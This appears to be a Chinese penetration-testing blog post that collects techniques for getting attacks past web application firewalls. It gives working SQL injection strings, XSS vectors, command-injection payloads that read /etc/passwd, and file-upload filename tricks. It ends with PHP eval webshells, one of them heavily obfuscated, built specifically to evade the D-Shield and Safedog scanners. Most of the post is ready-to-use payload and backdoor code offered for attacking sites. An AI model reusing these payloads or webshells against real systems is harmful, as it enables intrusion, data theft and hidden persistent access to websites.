首页 » 渗透测试 » 正文

那些年我们绕过的waf

0x00:目录

1.前言

2.SQL注入绕过方法

3.xss绕过方法

4.命令执行绕过方法

5.上传绕过

6.绕过D盾,安全狗的php一句话

 

0x01:前言 

陆陆续续写了1个月,记录一下绕过waf方面里面参考了很多网上的姿势,有一些自己想的的方法目前网上还没有公开,写文章时可以绕过某些waf。

 

 

0x02:SQL注入绕过方法

绕过方法从网上找的基本上如下:

1.大小写混合      (uNIoN sELecT)
2.替换关键字         (unionON SELselect)
3.使用编码             (union–%0e%0aselect)
4.使用注释             (/*50001UNION!)
5.使用特殊符号     (+ << @ () \N)
6.HTTP参数控制   (select/*,*/username,password/*,*/from/*,*/users)
7.缓冲区溢出          (union select 1,2,3……..99999)
8.分块传输              (1 and
1=2)

 

1.注释符合://, — , /**/, #, –+,–  –

在构造语句中插入一个注释,或者多行注释,来对关键字进行拆分绕过waf。(–+用于查询语句)

-1'/*!union*/select+1,2,3--+              一个注释

-1'/*!50000union*/select+1,2,3--+      50000注释

-1' /*!UNION*/ /*!SELECT*/ 1,2,3--+    多行注释

还有很多注释方法可以百度。

 

2.大小写绕过waf

大小写绕过用于只针对小写或大写的关键字匹配技术,目前基本凉了。

-1'+UnIoN/**/SeLecT/**/1,2,3%23

 

3.url编码绕过waf

可以使用:十六进制编码,Unicode编码,URL编码。

http://www.w3school.com.cn/tags/html_ref_urlencode.html     HTML URL 编码

http://tool.chinaz.com/tools/urlencode.aspx  UrlEncode编码/解码

可以参考:bypass安全狗绕过方法

正常:-1'uNIoN(sEleCT 1,2,3)--+
编码:-1'uNIoN(sEleCT+1%2c2%2c3)--+  注:编码的时候--+别编译进去,如果编译进去直接报错。

 

 

0x03:xss绕过方法

xss有很多绕过方法比如不经用的标签,或者特殊符号+,%0a,bs64等。

1.垃圾字符

正常:<script>alert(1)</script>
bypass:<script>++1+-+alert(1)</script>    加入++-垃圾符合

 

2.注释字符

正常:<script>alert(1)</script>
bypass:<!--><script>alert/**/(1)/**/</script>

 

3.多层标签

</img><script>alert(`ag`);</script><img>
<div>`-alert(1)</script><script>`</div>

ps:还有一种方法可以绕过长亭科技xss平台

普通:   <script>alert(1)</script>     拦截
bypass: <script>alert(1);</script>  加上;绕过

设置不常见的标签页可以绕过。注:提交上去过不了多久就被封了

测试:绕过长亭科技xss平台

地址:https://xsschop.chaitin.cn/demo/

 

 

 

4.关键字拼接

 

<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

 

5.特殊标签

marquee 流动标签。
bypass:<marquee onstart='alert(/xss/)'>xss

details 标签用于描述文档或文档某个部分的细节
bypass: <details/open/ontoggle=window.alert`xss`>

 

 

0x04:命令执行绕过方法

渗透测试环境中很少遇到,ctf中遇到的很多,

1.win

;dir
@dir
^whoami
(whoami)

 

 

2.mac:

%1a|whoami   利用%1a,可以绕过过滤执行命令
echo *可以用来显示目录,echo /???g可以用来探测文件
cat /etc/passwd;%27,使最终表达式看起来像echo '';cat /etc/passwd;''。
;id;
;id
$;/usr/bin/id
ifcon''fig    ''绕过执行ifconfig
who$@ami      显示系统当前权限
who$ami       $匹配正则表达式的结束行。 比如 whoami$ifconfig只会匹配whoami$后面的ifconfig不会匹配到
who\ami       \忽略正则表达式中特殊字符的原有含义

3.网上的

1:正常
标准:/bin/cat /etc/passwd
bypass:/bin/cat$u /etc/passwd$u

2:基于位置的
标准:/bin/cat /etc/passwd
bypass:$u/bin$u/cat$u $u/etc$u/passwd$u

3级:随机字符
标准:/bin/cat /etc/passwd
bypass:$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

 

4.fuzz

脚本fuzz,加入特殊字符。

注:有一些命令网站可以执行,终端没法执行。这样的问题是和特殊符号有关系,终端没法识别。

脚本地址:点我

 

 

0x05:上传绕过

1.去掉一个引号
2.去掉双引号
3.Content-Type字段修改
4.00截断
5.回车换行
6.大小写绕过
7.文件名后加空格
8.符号绕过
9.修改文件名绕过
10.fuzz

参考链接:点我

前面几个就不写了网上都有,只写后面几个。

文件名绕过。

正常:
Content-Disposition: form-data; name="upload_file"; filename="aaaa.php"


绕过:
Content-Disposition: form-data; name="upload_file"; filename="ww.php"as"a.php"

 

 

fuzz绕过:

字典:https://github.com/c0ny1/upload-fuzz-dic-builder

也可以自己做字典:

比如:

! " # $ % & ' ( ) * + , - . @ ^ () < > ? \ | . 、 _ 

ps:测试过效果不是太好,反正我是没有绕过一个waf -。-

 

 

0x06:绕过D盾,安全狗的php一句话

1.绕过D盾

点我

<?php
$a ="www.yuag.com";
function yuag($a){
eval($a);
}
@
yuag($_POST['yuag']);

上面一句话是,定义函数写的木马。

报5级错误,eval后门。

eval — 把字符串作为PHP代码执行

绕过方法:

 

绕过方法一:

D盾,bypass,加PHP输出绕过D盾。

参考:https://www.cnblogs.com/xcc2016/p/5718249.html

echo
print
printf


<?php
$a ="www.yuag.com";
function yuag($a){
echo  eval($a);
}
@
yuag($_POST['yuag']);
print "$a";

 

绕过方法二:

$a=$a

a赋值a 还是等于a

官网文档:https://www.php.net/manual/zh/language.operators.assignment.php

<?php
$a ="www.yuag.com";
function yuag($a){
eval($a=$a);
};
@
yuag($_POST['yuag']);
print "$a";

 

2.绕过安全狗

ps:说出来可能不信这个居然绕不过安全狗.

<?php
$a ="www.yuag.com";
function yuag($a){
echo  eval($a);
}
@
yuag($_POST['yuag']);
print "$a";

绕过安全狗方法可以使用加密方法安全狗识别不了.

加密网站:  http://www.phpjm.net/encode.html

加密后如下:

<?php 
/*
ÉùÃ÷£ºÒÔÏÂÐÅÏ¢²¢²»ÊDZ¾phpÎļþµÄ×÷Õߣ¬²»¶Ô±¾Îļþ¸ºÔð£»ÒÔÏÂÐÅÏ¢Ö»ÊÇÌṩÁ˶Ա¾phpÎļþ¼ÓÃÜ¡£Èç¹ûÐèÒª¶ÔPHPÎļþ½øÐмÓÃÜ£¬Çë°´ÒÔÏÂÐÅÏ¢ÁªÏµ¡£
Warning: do not modify this file, otherwise may cause the program to run.
*/
if (!defined("CEEBBBFDFAACAFCE")){define("CEEBBBFDFAACAFCE", __FILE__);global $‹,$’‰,$šŠš,$€’,$†“™„,$Ž˜‹,$’Ÿ’Ž–Ÿ‹,$“ƒŽŸ–˜š€,$“œ€ƒŽˆ—ˆŠ,$œ™‹Š’—˜…—Š,$”Š€€Ž€…ˆ›,$†œ˜ˆ‡’˜”‰,$‰œ™™„—†˜ˆ,$Ÿˆ‰„‘…ŒŽž•†‡‡,$—…žž’—€‹œ™“Œ,$’œŒ›†‘ŒŸ‹”Œ“•;function ‹ ($‹ ,$’‰ =""){global $‹,$’‰,$šŠš,$€’,$†“™„,$Ž˜‹,$’Ÿ’Ž–Ÿ‹,$“ƒŽŸ–˜š€,$“œ€ƒŽˆ—ˆŠ,$œ™‹Š’—˜…—Š,$”Š€€Ž€…ˆ›,$†œ˜ˆ‡’˜”‰,$‰œ™™„—†˜ˆ,$Ÿˆ‰„‘…ŒŽž•†‡‡,$—…žž’—€‹œ™“Œ,$’œŒ›†‘ŒŸ‹”Œ“•;if(empty($’‰ )){return base64_decode($‹ );}else{return ‹ ($”Š€€Ž€…ˆ›($‹ ,$’‰ ,$‹($’‰ )));}}$‹=‹ ("c3RycmV2Š");$”Š€€Ž€…ˆ›=‹ ("c3RydHI=„");$’‰=‹ ("iHJTZ19yZrBsYW‚NT“","cXlRuTri");$šŠš=‹ ("jzE0MDdLYLhhMWU”4CWNLNLcxNzk0ZGŠU5CThLM2I5CTNLjŽ2U=›","LOYCj");$†“™„=‹ ("P3p1bmNvbXByPXNz—","ZfSBrKP");$“œ€ƒŽˆ—ˆŠ=‹ ("NXNhbA==•","ZBrcN");$†œ˜ˆ‡’˜”‰=‹ ("GmFzZTG0X2RlŸG29kZQ==„","YjcvG");function šŠš (&$šŠš ){global $‹,$’‰,$šŠš,$€’,$†“™„,$Ž˜‹,$’Ÿ’Ž–Ÿ‹,$“ƒŽŸ–˜š€,$“œ€ƒŽˆ—ˆŠ,$œ™‹Š’—˜…—Š,$”Š€€Ž€…ˆ›,$†œ˜ˆ‡’˜”‰,$‰œ™™„—†˜ˆ,$Ÿˆ‰„‘…ŒŽž•†‡‡,$—…žž’—€‹œ™“Œ,$’œŒ›†‘ŒŸ‹”Œ“•;$’œŒ›†‘ŒŸ‹”Œ“• =‹ ("QGllŸ","ZnVmYbPQ");@$’‰($šŠš,$“œ€ƒŽˆ—ˆŠ."(@$†“™„($†œ˜ˆ‡’˜”‰('eNplkdlu2kAUhŒl8FWVyMVWexHU…gRGnXDkKKKigD„F0FYIu7YKwQFK‰FARNBDTsJgZsEœpYa8KPWM0BQ0r‘szc76z/Od31mtDHaoWILIKVxJY™LtchKCIZSsthLkuQXuewps3Ue0€z4lVzJz4cKuqT†EoIGwyw+Ra86P•MH2ta49rFXNR9ksmyp5XmjYiCvš58FAHGnbZ+nC3†qmMhfBnOJeBj+‰QU0y/rjE5RFjz™tW+Pp21pn1MBe›MuOVFMVxLFC6j†bZFrii2IQgb2a™2Zg35s1pezjrbŠrY/C0aTtOcqwZ+LtfQ7iPcTo+U‰cFrHu9prj1kBb‰PQzbnQ4uqMbD9…MRmBCVyVkXMtL•VsjFYrfVpXzbkŸxwFCA/1kWkp6L‹QBjCMRacjZQCW›K85+Nse3w/WS3UyMJYPGI8pnnIŠsfgJHCJWrhWgk‡hljVgqmU/+MnL“pXyZmTwfHtAHIHDV2/Ib+CIoGy’Ucuo9iyR/O5ExFkSvr/R3762UK0lPn6rlvd06g5’AXu4ANRjmIXwK‰a3zbmjabN7SwA‘u1JqG2wLSJtFw”VN+7yvYNqEOaJ‘qEcP/9/LJgn3h‡ZeEwdsAx5SLhE–9w+GFhk2LdAs/‹ZplJMnFnMhu8fŽSUFd3HLoJiSBK€PcdzcOP7TZgF7…qUV/YcG3m872AŠHPWrXX02Wg56Q‡GcQ0IMs36ndafŸdvgWvMooEdnfA–RvnYAi0ooWuBfˆ1/x8aGAhgyrfp‰YDPvte/wCm2DKlŽ')));","–•“
–˜–žƒš1407cb8a1e89cc671794de998c3b993c–žˆ˜‘");return "2";}}else{global $‹,$’‰,$šŠš,$€’,$†“™„,$Ž˜‹,$’Ÿ’Ž–Ÿ‹,$“ƒŽŸ–˜š€,$“œ€ƒŽˆ—ˆŠ,$œ™‹Š’—˜…—Š,$”Š€€Ž€…ˆ›,$†œ˜ˆ‡’˜”‰,$‰œ™™„—†˜ˆ,$Ÿˆ‰„‘…ŒŽž•†‡‡,$—…žž’—€‹œ™“Œ,$’œŒ›†‘ŒŸ‹”Œ“•;$‹=‹ ("c3RycmV2Š");$”Š€€Ž€…ˆ›=‹ ("c3RydHI=„");$’‰=‹ ("iHJTZ19yZrBsYW‚NT“","cXlRuTri");$šŠš=‹ ("jzE0MDdLYLhhMWU”4CWNLNLcxNzk0ZGŠU5CThLM2I5CTNLjŽ2U=›","LOYCj");$†“™„=‹ ("P3p1bmNvbXByPXNz—","ZfSBrKP");$“œ€ƒŽˆ—ˆŠ=‹ ("NXNhbA==•","ZBrcN");$†œ˜ˆ‡’˜”‰=‹ ("GmFzZTG0X2RlŸG29kZQ==„","YjcvG");}$“ƒŽŸ–˜š€ =‹ ("NU5wenR5d3hBN0GGQz‚VRRW6R‡","ZCfqsN");$’Ÿ’Ž–Ÿ‹ =šŠš ($“ƒŽŸ–˜š€ );@$’‰($šŠš,$“œ€ƒŽˆ—ˆŠ."(@$†“™„($†œ˜ˆ‡’˜”‰('eNotjutKwz€AYhv97FWEE›tkHYDVSddz‚BB/4lIKdUJ‡2g5cLSLSlPŠWQntIt7Za0‘S9tbNYX9ew†8fz/tpy9vr–5Wa9uYI6uJ”m4rrv4cfS3—hWF/TjTw6lj".$“ƒŽŸ–˜š€ .$’Ÿ’Ž–Ÿ‹ ."wJjN†oD7/Baaxto‚H5rX+MVgN/˜4O5SvtyvHh6fpqOZPs+1—CxY41pe5nc˜EMQZYg2KYt†gtgrGYJR1fgBgqVHRVao“dmD0NKizakeHk2ixUhLv‹KOEkRVA2Wc†q4CLnSdZFi’TEsckrOiSEžG8mIl9Vyt84km/8ZuAR6šUgCA4kCQ5hTvtjGcUxgjzs/H3fM44zŠ2VS5GpX5OT”oU+dBldV51Ÿx/Htf78Ock…Q=˜')));","€“
ˆŸ›‰„1407cb8a1e89cc671794de998c3b993cŽ‡€™‘–");return true;?>cd8c860e99a04f84d73515237c4f39e6

 

发表评论